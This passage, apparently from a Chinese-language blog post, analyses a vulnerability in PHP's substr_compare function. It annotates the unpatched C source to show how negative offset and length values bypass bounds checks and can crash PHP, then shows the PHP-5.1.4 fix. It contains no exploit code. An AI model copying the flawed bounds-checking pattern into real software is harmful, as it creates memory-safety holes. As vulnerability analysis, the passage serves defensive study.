								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> s2_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> offset </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> cs)  </span>
								<span style="COLOR: #000000">==</span>
								<span style="COLOR: #000000">  FAILURE) { <br />        RETURN_FALSE; <br />    } <br /><br />     </span>
								<span style="COLOR: #0000ff">if</span>
								<span style="COLOR: #000000">  (len  </span>
								<span style="COLOR: #000000">&amp;&amp;</span>
								<span style="COLOR: #000000">  offset  </span>
								<span style="COLOR: #000000">&gt;=</span>
								<span style="COLOR: #000000">  s1_len) {   </span>
								<span style="COLOR: #008000">//</span>
								<span style="COLOR: #008000">  简单的检查了 len 是否 != 0 并且 offset 大于 strlen(main_str). 但是 len 和 offset 都可以为负数  </span>
								<span style="COLOR: #008000">
										<br />
								</span>
								<span style="COLOR: #000000">        php_error_docref( </span>
								<span style="COLOR: #0000ff">NULL</span>
								<span style="COLOR: #000000">  TSRMLS_CC </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #ff00ff">E_WARNING</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000"> The start position cannot exceed initial string length. </span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000"> ); <br />        RETURN_FALSE; <br />    } <br /><br />     </span>
								<span style="COLOR: #0000ff">if</span>
								<span style="COLOR: #000000">  (offset  </span>
								<span style="COLOR: #000000">&lt;</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">0</span>
								<span style="COLOR: #000000"> ) {  </span>
								<span style="COLOR: #008000">//</span>
								<span style="COLOR: #008000">  offset 为负数,则从 main_str 的尾向前偏移  </span>
								<span style="COLOR: #008000">
										<br />
								</span>
								<span style="COLOR: #000000">        offset  </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000">  s1_len  </span>
								<span style="COLOR: #000000">+</span>
								<span style="COLOR: #000000">  offset;  </span>
								<span style="COLOR: #008000">//</span>
								<span style="COLOR: #008000">  这里出现问题了.如果 offset 是负数,且绝对值大于 s1_len 呢?得到的 offset 仍然为负数  </span>
								<span style="COLOR: #008000">
										<br />
								</span>
								<span style="COLOR: #000000">    } <br /><br />    cmp_len  </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000">  (uint) (len  </span>
								<span style="COLOR: #000000">?</span>
								<span style="COLOR: #000000">  len  </span>
								<span style="COLOR: #000000">:</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #008080">MAX</span>
								<span style="COLOR: #000000"> (s2_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  (s1_len  </span>
								<span style="COLOR: #000000">-</span>
								<span style="COLOR: #000000">  offset)));  </span>
								<span style="COLOR: #008000">//</span>
								<span style="COLOR: #008000">  这里确定比较的长度,很容易被控制.  </span>
								<span style="COLOR: #008000">
										<br />
								</span>
								<span style="COLOR: #000000">
										<br />     </span>
								<span style="COLOR: #0000ff">if</span>
								<span style="COLOR: #000000">  ( </span>
								<span style="COLOR: #000000">!</span>
								<span style="COLOR: #000000"> cs) {  </span>
								<span style="COLOR: #008000">//</span>
								<span style="COLOR: #008000">  传递参数给 zend_binary_strncmp 或 zend_binary_strncasecmp  </span>
								<span style="COLOR: #008000">
										<br />
								</span>
								<span style="COLOR: #000000">        RETURN_LONG(zend_binary_strncmp(s1  </span>
								<span style="COLOR: #000000">+</span>
								<span style="COLOR: #000000">  offset </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  (s1_len  </span>
								<span style="COLOR: #000000">-</span>
								<span style="COLOR: #000000">  offset) </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  s2 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  s2_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  cmp_len)); <br />    }  </span>
								<span style="COLOR: #0000ff">else</span>
								<span style="COLOR: #000000">  { <br />        RETURN_LONG(zend_binary_strncasecmp(s1  </span>
								<span style="COLOR: #000000">+</span>
								<span style="COLOR: #000000">  offset </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  (s1_len  </span>
								<span style="COLOR: #000000">-</span>
								<span style="COLOR: #000000">  offset) </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  s2 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  s2_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  cmp_len)); <br />    } <br />} <br /></span>
						</div>
						<br />
				</span>
				<font face="Courier New">
						<font style="BACKGROUND-COLOR: #ffffff" color="#000000">再来看 zend_binary_strncmp 函数: <br /></font>
				</font>
				<span style="COLOR: #0000bb">
						<br />
				</span>
				<span style="COLOR: #0000bb">
						<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
								<span style="COLOR: #000000">ZEND_API int zend_binary_strncmp(char  </span>
								<span style="COLOR: #000000">*</span>
								<span style="COLOR: #000000"> s1 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  uint len1 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  char  </span>
								<span style="COLOR: #000000">*</span>
								<span style="COLOR: #000000"> s2 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  uint len2 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  uint length) <br />{ <br />    int retval; <br />     <br />    retval  </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000">  memcmp(s1 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  s2 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #008080">MIN</span>
								<span style="COLOR: #000000"> (length </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #008080">MIN</span>
								<span style="COLOR: #000000"> (len1 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  len2))); <br />     </span>
								<span style="COLOR: #0000ff">if</span>
								<span style="COLOR: #000000">  ( </span>
								<span style="COLOR: #000000">!</span>
								<span style="COLOR: #000000"> retval) { <br />         </span>
								<span style="COLOR: #0000ff">return</span>
								<span style="COLOR: #000000">  ( </span>
								<span style="COLOR: #008080">MIN</span>
								<span style="COLOR: #000000"> (length </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  len1)  </span>
								<span style="COLOR: #000000">-</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #008080">MIN</span>
								<span style="COLOR: #000000"> (length </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  len2)); <br />    }  </span>
								<span style="COLOR: #0000ff">else</span>
								<span style="COLOR: #000000">  { <br />         </span>
								<span style="COLOR: #0000ff">return</span>
								<span style="COLOR: #000000">  retval; <br />    } <br />} <br /></span>
						</div>
						<br />
				</span>
				<font style="BACKGROUND-COLOR: #ffffff" face="Courier New" color="#000000">很明显,如果提交我们设计的参数,很容易造成crash.<br /><br />下面是 PHP-5.1.4 修补后的代码 <br /></font>
				<span style="COLOR: #0000bb">
						<br />
						<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
								<span style="COLOR: #008000">//</span>
								<span style="COLOR: #008000">  ripped from PHP-5.1.4  </span>
								<span style="COLOR: #008000">
										<br />
								</span>
								<span style="COLOR: #000000">PHP_FUNCTION( </span>
								<span style="COLOR: #008080">substr_compare</span>
								<span style="COLOR: #000000"> ) <br />{ <br />    char  </span>
								<span style="COLOR: #000000">*</span>
								<span style="COLOR: #000000"> s1 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">*</span>
								<span style="COLOR: #000000"> s2; <br />    int s1_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  s2_len; <br />    long offset </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  len </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">0</span>
								<span style="COLOR: #000000"> ; <br />    zend_bool cs </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">0</span>
								<span style="COLOR: #000000"> ; <br />    uint cmp_len; <br /><br />     </span>
								<span style="COLOR: #0000ff">if</span>
								<span style="COLOR: #000000">  (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000"> ssl|lb </span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> s1 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> s1_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> s2 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> s2_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> offset </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> cs)  </span>
								<span style="COLOR: #000000">==</span>
								<span style="COLOR: #000000">  FAILURE) { <br />        RETURN_FALSE; <br />    } <br /><br />     </span>
								<span style="COLOR: #0000ff">if</span>
								<span style="COLOR: #000000">  (ZEND_NUM_ARGS()  </span>
								<span style="COLOR: #000000">&gt;=</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">4</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;&amp;</span>
								<span style="COLOR: #000000">  len  </span>
								<span style="COLOR: #000000">&lt;=</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">0</span>
								<span style="COLOR: #000000"> ) {  </span>
								<span style="COLOR: #008000">//</span>
								<span style="COLOR: #008000">  len不能为负数了  </span>
								<span style="COLOR: #008000">
										<br />
								</span>
								<span style="COLOR: #000000">        php_error_docref( </span>
								<span style="COLOR: #0000ff">NULL</span>
								<span style="COLOR: #000000">  TSRMLS_CC </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #ff00ff">E_WARNING</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000"> The length must be greater than zero </span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000"> ); <br />        RETURN_FALSE; <br />    } <br /><br />     </span>
								<span style="COLOR: #0000ff">if</span>
								<span style="COLOR: #000000">  (offset  </span>
								<span style="COLOR: #000000">&lt;</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">0</span>
								<span style="COLOR: #000000"> ) { <br />        offset  </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000">  s1_len  </span>
								<span style="COLOR: #000000">+</span>
								<span style="COLOR: #000000">  offset; <br />        offset  </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000">  (offset  </span>
								<span style="COLOR: #000000">&lt;</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">0</span>
								<span style="COLOR: #000000"> )  </span>
								<span style="COLOR: #000000">?</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">0</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">:</span>
								<span style="COLOR: #000000">  offset;   </span>
								<span style="COLOR: #008000">//</span>
								<span style="COLOR: #008000">  检查是否 offset 仍然为负数,是,则设为0  </span>
								<span style="COLOR: #008000">
										<br />
								</span>
								<span style="COLOR: #000000">    } <br /><br />     </span>
								<span style="COLOR: #0000ff">if</span>
								<span style="COLOR: #000000">  ((offset  </span>
								<span style="COLOR: #000000">+</span>
								<span style="COLOR: #000000">  len)  </span>
								<span style="COLOR: #000000">&gt;=</span>
								<span style="COLOR: #000000">  s1_len) {  </span>
								<span style="COLOR: #008000">//</span>
								<span style="COLOR: #008000">  offset+len 也不能大于 s1_len  </span>
								<span style="COLOR: #008000">
										<br />
								</span>
								<span style="COLOR: #000000">        php_error_docref( </span>
								<span style="COLOR: #0000ff">NULL</span>
								<span style="COLOR: #000000">  TSRMLS_CC </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #ff00ff">E_WARNING</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000"> The start position cannot exceed initial string length </span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000"> ); <br />        RETURN_FALSE; <br />    } <br /><br />    cmp_len  </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000">  (uint) (len  </span>
								<span style="COLOR: #000000">?</span>
								<span style="COLOR: #000000">  len  </span>
								<span style="COLOR: #000000">:</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #008080">MAX</span>
								<span style="COLOR: #000000"> (s2_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  (s1_len  </span>
								<span style="COLOR: #000000">-</span>
								<span style="COLOR: #000000">  offset))); <br /><br />     </span>
								<span style="COLOR: #0000ff">if</span>
								<span style="COLOR: #000000">  ( </span>
								<span style="COLOR: #000000">!</span>
								<span style="COLOR: #000000"> cs) { <br />        RETURN_LONG(zend_binary_strncmp(s1  </span>
								<span style="COLOR: #000000">+</span>
								<span style="COLOR: #000000">  offset </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  (s1_len  </span>
								<span style="COLOR: #000000">-</span>
								<span style="COLOR: #000000">  offset) </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  s2 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  s2_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  cmp_len)); <br />    }  </span>
								<span style="COLOR: #0000ff">else</span>
								<span style="COLOR: #000000">  { <br />        RETURN_LONG(zend_binary_strncasecmp(s1  </span>
								<span style="COLOR: #000000">+</span>
								<span style="COLOR: #000000">  offset </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  (s1_len  </span>
								<span style="COLOR: #000000">-</span>
								<span style="COLOR: #000000">  offset) </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  s2 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  s2_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  cmp_len)); <br />    } <br />} <br /></span>
						</div>
				</span>
		</span>
<img src ="http://www.phpweblog.net/GaRY/aggbug/321.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-15 14:42 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/15/PHP_substr_compare_Vulnerability.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>